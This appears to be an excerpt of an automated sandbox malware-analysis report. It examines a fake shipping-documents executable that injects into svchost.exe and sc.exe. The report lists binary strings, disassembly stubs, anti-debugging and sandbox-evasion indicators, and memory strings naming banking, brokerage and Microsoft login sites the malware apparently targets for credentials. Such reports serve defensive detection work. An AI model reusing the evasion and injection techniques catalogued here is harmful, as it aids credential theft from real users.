                Source: Binary string: wntdll.pdbUGP source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1380185772.0000000003700000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1378980100.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1918412588.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1916159024.0000000003200000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2018602151.000000000380B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.00000000039C0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.0000000003B5E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2016788999.0000000003657000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000002.00000003.1985783468.000000000303B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1984241134.000000000301A000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2583838367.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000003.1952567703.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1380185772.0000000003700000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1378980100.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1918412588.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1916159024.0000000003200000.00000004.00000020.00020000.00000000.sdmp, sc.exe, sc.exe, 00000007.00000003.2018602151.000000000380B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.00000000039C0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.0000000003B5E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2016788999.0000000003657000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000002.00000003.1985783468.000000000303B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1984241134.000000000301A000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2583838367.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000003.1952567703.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000007.00000002.2583431211.000000000346E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585504676.0000000003FEC000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.000000000300C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000E84C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000007.00000002.2583431211.000000000346E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585504676.0000000003FEC000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.000000000300C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000E84C000.00000004.80000000.00040000.00000000.sdmp
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A4B37 LoadLibraryA,GetProcAddress,0_2_009A4B37
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C8945 push ecx; ret 0_2_009C8958
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040184C push E711456Eh; retf 2_2_00401809
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416063 push esi; retf 2_2_0041606E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004021E1 push ss; retf 2_2_004021E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414992 push ebp; iretd 2_2_004149B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417A42 push ss; iretd 2_2_00417A4C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004073CC push ds; iretd 2_2_00407424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004073D3 push ds; iretd 2_2_00407424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004163A6 push 0000005Ch; iretd 2_2_004163B2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403440 push eax; ret 2_2_00403442
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418451 pushad ; iretd 2_2_00418474
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00411E78 push esp; ret 2_2_00411E79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00408601 push ds; retf 2_2_00408602
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040AE01 push cs; ret 2_2_0040AE02
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040A763 push 689E092Ah; ret 2_2_0040A775
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD push ecx; mov dword ptr [esp], ecx2_2_036309B6
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD72A0 pushad ; iretd 6_2_02DD72C3
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DC621B push ds; iretd 6_2_02DC6273
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DC6222 push ds; iretd 6_2_02DC6273
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD6891 push ss; iretd 6_2_02DD689B
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD51F5 push 0000005Ch; iretd 6_2_02DD5201
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD4EB2 push esi; retf 6_2_02DD4EBD
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD0CC7 push esp; ret 6_2_02DD0CC8
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD848E push cs; iretd 6_2_02DD84A3
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DC7450 push ds; retf 6_2_02DC7451
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DC9C50 push cs; ret 6_2_02DC9C51
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039F09AD push ecx; mov dword ptr [esp], ecx7_2_039F09B6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0322A2F3 push es; retf 7_2_0322A306
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0322A139 push esi; ret 7_2_0322A14B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0322A140 push esi; ret 7_2_0322A14B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032261FC push cs; iretd 7_2_03226211
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_009A48D7
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A25376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00A25376
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_009C3187
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI/Special instruction interceptor: Address: 131779C
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D324
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D7E4
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D944
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D504
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D544
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818D1E4
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF908190154
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FF90818DA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E rdtsc 2_2_0367096E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-105972
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI coverage: 4.9 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\sc.exeAPI coverage: 2.7 %
                Source: C:\Windows\SysWOW64\sc.exe TID: 7912Thread sleep time: -48000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_00A0445A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0C6D1 FindFirstFileW,FindClose,0_2_00A0C6D1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00A0C75C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00A0EF95
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00A0F0F2
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00A0F3F3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A037EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00A037EF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A03B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00A03B12
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00A0BCBC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0322CA10 FindFirstFileW,FindNextFileW,FindClose,7_2_0322CA10
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_009A49A0
                Source: 04j58b6g.7.drBinary or memory string: dev.azure.comVMware20,11696497155j
                Source: 04j58b6g.7.drBinary or memory string: global block list test formVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: turbotax.intuit.comVMware20,11696497155t
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - HKVMware20,11696497155]
                Source: 04j58b6g.7.drBinary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
                Source: 04j58b6g.7.drBinary or memory string: tasks.office.comVMware20,11696497155o
                Source: 04j58b6g.7.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
                Source: sc.exe, 00000007.00000002.2583431211.000000000346E000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584391028.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2309364312.0000029E4E80C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: 04j58b6g.7.drBinary or memory string: bankofamerica.comVMware20,11696497155x
                Source: 04j58b6g.7.drBinary or memory string: ms.portal.azure.comVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: trackpan.utiitsl.comVMware20,11696497155h
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000002.1380998095.00000000011C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vmwareworkstation.exeS
                Source: 04j58b6g.7.drBinary or memory string: interactivebrokers.co.inVMware20,11696497155d
                Source: 04j58b6g.7.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155x
                Source: 04j58b6g.7.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: interactivebrokers.comVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: AMC password management pageVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155}
                Source: 04j58b6g.7.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
                Source: 04j58b6g.7.drBinary or memory string: account.microsoft.com/profileVMware20,11696497155u
                Source: 04j58b6g.7.drBinary or memory string: discord.comVMware20,11696497155f
                Source: 04j58b6g.7.drBinary or memory string: netportal.hdfcbank.comVMware20,11696497155
                Source: 04j58b6g.7.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
                Source: 04j58b6g.7.drBinary or memory string: outlook.office365.comVMware20,11696497155t
                Source: 04j58b6g.7.drBinary or memory string: outlook.office.comVMware20,11696497155s
                Source: 04j58b6g.7.drBinary or memory string: www.interactivebrokers.comVMware20,11696497155}
                Source: 04j58b6g.7.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
                Source: 04j58b6g.7.drBinary or memory string: microsoft.visualstudio.comVMware20,11696497155x
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI call chain: ExitProcess graph end nodegraph_0-104706
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E rdtsc 2_2_0367096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417DA3 LdrLoadDll,2_2_00417DA3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A13F09 BlockInput,0_2_00A13F09
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_009A3B3A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_009D5A7C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A4B37 LoadLibraryA,GetProcAddress,0_2_009A4B37
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_013163E8 mov eax, dword ptr fs:[00000030h]0_2_013163E8
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01317A08 mov eax, dword ptr fs:[00000030h]0_2_01317A08
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01317A68 mov eax, dword ptr fs:[00000030h]0_2_01317A68
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D437C mov eax, dword ptr fs:[00000030h]2_2_036D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov ecx, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA352 mov eax, dword ptr fs:[00000030h]2_2_036FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C310 mov ecx, dword ptr fs:[00000030h]2_2_0362C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650310 mov ecx, dword ptr fs:[00000030h]2_2_03650310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036663FF mov eax, dword ptr fs:[00000030h]2_2_036663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC3CD mov eax, dword ptr fs:[00000030h]2_2_036EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]2_2_036383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B63C0 mov eax, dword ptr fs:[00000030h]2_2_036B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]2_2_0362E388
